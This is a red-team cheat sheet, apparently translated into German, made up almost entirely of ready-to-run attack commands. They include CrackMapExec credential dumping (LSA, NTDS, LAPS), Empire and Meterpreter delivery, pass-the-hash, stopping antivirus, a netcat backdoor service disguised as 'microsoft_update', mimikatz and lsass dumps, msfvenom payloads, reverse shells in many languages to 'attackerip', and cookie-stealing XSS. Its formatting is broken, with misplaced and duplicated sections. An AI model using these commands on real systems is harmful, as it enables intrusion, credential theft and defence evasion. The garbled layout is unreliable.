- `-X` für PowerShell und `-x` für cmd```bash
crackmapexec mssql <domain> -u <username> -p <password> -X <command_to_execute>

Eine Datei abrufen```bash

crackmapexec mssql -u -p --get-file <output_file> <target_file>

### Lokale Administrator-Authentifizierung```bash
crackmapexec smb <domain> -u <username> -p <password> --local-auth

LSA-Geheimnisse auslesen```bash

crackmapexec smb -u -p --local-auth --lsa

### Den Namen des gmsa-Kontos wiederherstellen
- https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent
Wir haben zwei Möglichkeiten, den Namen des gmsa-Kontos wiederherzustellen:
- Verwendung der Option `--gmsa-convert-id`:```bash
crackmapexec ldap <domain> -u <username> -p <password> --gmsa-convert-id <id>

Entschlüsseln Sie das gmsa-Konto in lsa mit --gmsa-decrypt-lsa:```bash crackmapexec ldap -u -p --gmsa-decrypt-lsa <gmsa_account>

### LAPS-Passwort auslesen```bash
crackmapexec smb targets.txt -u <username> -p <password> --laps

Anmeldeinformationen der dpapi auslesen```bash

crackmapexec smb targets.txt -u -p --laps --dpapi

### NTDS.dit auslesen```bash
crackmapexec smb <domain> -u <username> -p <password> --ntds

Referenzen

Crackmapexec zu Empire Agent

Richten Sie zuerst einen Empire-Listener ein:``` (Empire: listeners) > set Name test (Empire: listeners) > set Host 192.168.10.3 (Empire: listeners) > set Port 9090 (Empire: listeners) > set CertPath data/empire.pem (Empire: listeners) > run (Empire: listeners) > list

[*] Active listeners:

ID Name Host Type Delay/Jitter KillDate Redirect Target

1 test http://192.168.10.3:9090 native 5/0.0

(Empire: listeners) >

Starten Sie den RESTful-API-Server von Empire:```
#~ python empire --rest --user empireadmin --pass Password123!

[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

Der Benutzername und das Passwort, die CME verwendet, um sich bei der RESTful API von Empire zu authentifizieren, sind in der Datei cme.conf unter ~/.cme/cme.conf gespeichert:``` [Empire] api_host=127.0.0.1 api_port=1337 username=empireadmin password=Password123!

[Metasploit] rpc_host=127.0.0.1 rpc_port=55552 password=abc123

Dann führen Sie einfach das Modul empire_exec aus und geben Sie den Listener-Namen an:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

Crackmapexec zu Meterpreter

Wir können das metinject-Modul verwenden, um Meterpreter direkt mithilfe des PowerSploit-Skripts Invoke-Shellcode.ps1 in den Speicher zu injizieren.

Zuerst richten Sie Ihren Handler ein:``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.10.3 LHOST => 192.168.10.3 msf exploit(handler) > set exitonsession false exitonsession => false msf exploit(handler) > exploit -j [*] Exploit running as background job.

[] Started HTTPS reverse handler on https://192.168.10.3:8443 msf exploit(handler) > [] Starting the payload handler...

Dann führen Sie einfach das metinject module aus und geben Sie die Werte für LHOST und LPORT an:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1

Übergeben einer Shell von Empire an Meterpreter metasploit

metasploit listner Optionen``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.1.110 lhost => 192.168.1.110 msf exploit(handler) > set lport 2286 lport => 2286 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > exploit -j

Einrichten von Empire, um den Agent an Metasploit zu senden```
use module code_execution/shellcode_inject
set Host <ip>
set Port <port>
execute

DeathStar```

Start the Empire console and RESTful API

python empire --rest --username empireadmin --password Password123

Dann holen Sie sich DeathStar, richten Sie es ein und führen Sie es aus:```
git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python3
pip3 install -r requirements.txt
./DeathStar.py

Windows cmd.exe Befehle

Benutzer hinzufügen```

net user /add [username] [password]

## Benutzer als Administrator hinzufügen```
net localgroup administrators [username] /add

Benutzer zur RDP-Gruppe hinzufügen```

NET LOCALGROUP "Remote Desktop Users" keyoke /ADD

# PTH_winexe : Shell öffnen ohne psexec
Beispiel :<br>```
pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe

Reales Beispiel :
``` pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe

# PTH-winexe zu Meterpreter```
msf exploit(web_delivery) > use exploit/multi/script/web_delivery 
msf exploit(web_delivery) > set target 2
target => 2         
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set L
set LHOST         set LISTENERCOMM  set LOGLEVEL      set LPORT         
msf exploit(web_delivery) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
LPORT => 1233
msf exploit(web_delivery) > exploit 
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233 
[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh
msf exploit(web_delivery) > [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');

Kopieren Sie den PowerShell-Befehl in die mit pth_winexe geöffnete cmd.

Active Directory```

current domain info

domain trusts

(System.DirectoryServices.ActiveDirectory.Domain::GetCurrentDomain()).GetAllTrustRelationships()

current forest info

get forest trust relationships

(System.DirectoryServices.ActiveDirectory.Forest::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

get DCs of a domain

nltest /dclist:offense.local net group "domain controllers" /domain

get DC for currently authenticated session

nltest /dsgetdc:offense.local

get domain trusts from cmd shell

nltest /domain_trusts

get user info

nltest /user:"spotless"

get DC for currently authenticated session

set l

get domain name and DC the user authenticated to

klist

get all logon sessions. Includes NTLM authenticated sessions

klist sessions

kerberos tickets for the session

klist

cached krbtgt

klist tgt

whoami on older Windows systems

set u

## BloodHound```
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

Symantec AV Bypass```

During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem: First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)

$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system

Then let's Stop the AV Service

cd "C:\Program Files\Symantec\Symantec Endpoint Protection" smc.exe -stop

Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS so we used a reverse_https listener and psexec_psh to bypass it: mohamed@KeyStrOke:~$ msfconsole use exploit/windows/smb/psexec_psh set payload windows/meterpreter/reverse_https set StageEncoder x86/shikata_ga_nai set EnableStageEncoding true set SMBUSER USERNAME set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb set lhost IP set lport 443 exploit -j and BOOM :D Server username: NT AUTHORITY\SYSTEM Enjoy your Session

# Kiwi collect credentials```
meterpreter > load kiwi
meterpreter > cred_all

Netzwerk

Nmap Vollständiger Web-Schwachstellenscan```

cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

### Dirb Dir Bruteforce```
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto Webserver-Scanner```

nikto -C all -h http://IP

### WordPress Scanner```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP-Fingerprinting```

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt

### WordPress Scanner```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

SKIP Fish Scanner```

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

### Nmap Port-Scan```
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC Scannen```

nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

### Unicornscan```
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Xprobe2 OS-Fingerprinting```

xprobe2 -v -p tcp:80:open IP

### Samba-Enumeration```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

SNMP-Enumeration```

snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

### Nützliche Windows-Befehle```
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link Tunnel```

Forward remote port to local address cmd.exe /c echo y | .\plink.exe -P 22 -l -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT 2>&1

### Meterpreter portfwd```
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

RDP-Zugriff aktivieren```

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable

### Windows-Firewall deaktivieren```
netsh firewall set opmode disable

Meterpreter VNC\RDP```

git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full

### Mimikatz Verwendung```
net user test 1234 /add
net localgroup administrators test /add

Pass-the-Hash```

git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd

apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell

### Hashcat Passwort-Knacken```
hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat Beispiele```

c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt

### Banner-Grabbing mit NC```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

Window reverse shell```

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

### Finde SUID\SGID root Dateien```
# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Python shell```

python -c 'import pty;pty.spawn("/bin/bash")'

### Python\Ruby\PHP HTTP Server```
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

PIDs des Prozesses abrufen```

fuser -nv tcp 80 fuser -k -n tcp 80

### Hydra rdp Brute-Force```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Remote-Windows-Freigabe einbinden```

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

### Exploit in Kali kompilieren```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Kompilieren von Windows-Exploits auf Kali```

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

### Windows reverse shell```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM-Befehle```

nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

### SSH-Pivoting```
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH Pivoting von einem Netzwerk zu einem anderen```

ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target

### Pivoting mit metasploit```
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

Exploit-DB-Suche mit CSV-Datei```

git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel"

### MSF Payloads```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary```

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell

### MSF Reverse Shell (C Shellcode)```
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python-Skript```

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

### MSF Reverse ASP Shell```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell```

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh

### MSF Reverse PHP Shell```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin```

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o shell.exe

### Linux-Sicherheitsbefehle```
# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Win Buffer Overflow Exploit-Befehle```

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)

Useful Commands:

pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest

### SEH - Strukturierte Ausnahmebehandlung```
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)```

https://en.wikipedia.org/wiki/Return-oriented_programming

https://en.wikipedia.org/wiki/Data_Execution_Prevention

!mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

### ASLR - Adressraum-Layout-Randomisierung```
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

EGG Hunter techniques```

https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

http://www.fuzzysecurity.com/tutorials/expDev/4.html

!mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t'

### GDB Debugger-Befehle```
# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell```

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

### PERL Reverse Shell```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY Reverse Shell```

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

for win platform

ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

### PYTHON Reverse Shell```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell```

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

### JAVA Reverse Shell```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT Reverse Shell```

nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443

If the -e option is disabled, try this

mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

If you have the wrong version of netcat installed, try

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

### TELNET Reverse Shell```
# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell```

Start an open X Server on your system (:1 – which listens on TCP port 6001)

apt-get install xnest Xnest :1

Then remember to authorise on your system the target IP to connect to you

xterm -display 127.0.0.1:1

Run this INSIDE the spawned xterm on the open X Server

xhost +targetip

Then on the target connect back to the your X Server

xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm

### XSS Cheat-Codes```
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG src="javascript:alert("XSS');">

<SCRIPT>alert("XSS")</SCRIPT>"">



<IMG src="https://raw.githubusercontent.com/ihebski/a-red-teamer-diaries/HEAD/jav%20ascript:alert("XSS');">

perl -e 'print "";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

SSH über SCTP (mit Socat)```

on remote server

assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP

$ socat SCTP-LISTEN:80,fork TCP:localhost:22

localhost

replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)

$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

create socks proxy

replace username and -p port value as needed...

$ ssh -lusername localhost -D 8080 -p 1337

### Metasploit Community Edition in Kali 2.0 installieren```
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

Tor NAT-Durchquerung```

install to server

$ apt-get install tor torsocks

bind ssh to tor service port 80

/etc/tor/torrc

SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion

ssh connect from client

$ apt-get install torsocks $ torsocks ssh [email protected] -p 80

### DNS Brute-Forcing mit Fierce```
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil Metadaten-Sammelwerkzeug```

http://www.edge-security.com/metagoofil.php

#automate search engine document retrieval and analysis. It also has the capability to provide MAC

addresses, username listings, and more

$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

### Eine beste NMAP-Scanstrategie```
# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
